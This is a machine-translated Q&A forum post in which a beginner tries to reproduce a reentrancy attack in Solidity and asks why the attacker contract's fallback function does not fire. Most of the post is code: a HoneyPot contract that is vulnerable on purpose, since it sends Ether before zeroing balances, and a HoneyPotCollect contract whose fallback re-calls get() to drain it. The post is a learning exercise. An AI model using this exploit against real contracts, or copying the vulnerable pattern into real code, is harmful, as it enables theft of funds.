在返回类型从空变为稳固后,没有引发回退功能

时间:2019-04-24 01:20:17

标签: solidity smartcontracts

我在毅力上还很新。 我正在尝试重新实施重新进入攻击。

我是通过下面的智能合约来工作的。


// import "./HoneyPot.sol";
contract HoneyPotCollect {

  HoneyPot public honeypot;
  event logString(string);
  event logfallback(uint, uint);
  address honeypot_addr;
  constructor (address _honeypot) public {
    honeypot = HoneyPot(_honeypot);
    honeypot_addr = _honeypot; 
  }
  function kill () public{
    selfdestruct(msg.sender);
  }
  function collect() public payable {
    honeypot.put.value(msg.value)();
    bool res = honeypot.get();
  }
  function () external payable {
     uint balance = honeypot.balances(msg.sender);

     emit logfallback(honeypot_addr.balance, msg.value);
    if (honeypot_addr.balance > msg.value) {
        emit logString("callback");
        bool res = honeypot.get();
    }
  }
}



contract HoneyPot {
  mapping (address => uint) public balances;
  constructor() public payable {
    put();
  }
  function put() public payable {
    balances[msg.sender] = msg.value;
  }
  function get() public payable {
      (bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
      require(succ);
      balances[msg.sender] = 0;
  }

}

但是。在我更改了代码的第二部分后,即合同HoneyPot。当我在HoneyPotCollect中调用函数collect()时,无法调用HoneyPotCollect的后备功能。

更改只是使HoneyPot中的get()函数返回布尔类型。

contract HoneyPot {
  mapping (address => uint) public balances;
  constructor() public payable {
    put();
  }
  function put() public payable {
    balances[msg.sender] = msg.value;
  }
  function get() public payable returns (bool success) {
      (bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
      require(succ);
      balances[msg.sender] = 0;
      return true;
  }

}

编辑1: 我刚刚发现解决方案是将两个合同合并到一个文件中。问题解决了。 然而,还有另一个问题。 如果我对这一行发表评论,那么后备功能也不会被激活。

require(succ)

整个代码如下:

contract HoneyPot {
  mapping (address => uint) public balances;
  constructor() public payable {
    put();
  }
  function put() public payable {
    balances[msg.sender] = msg.value;
  }
  function get() public payable returns (bool success) {
      (bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
      //require(succ);
      balances[msg.sender] = 0;
      return true;
  }

}

请帮助!预先感谢。

0 个答案:

没有答案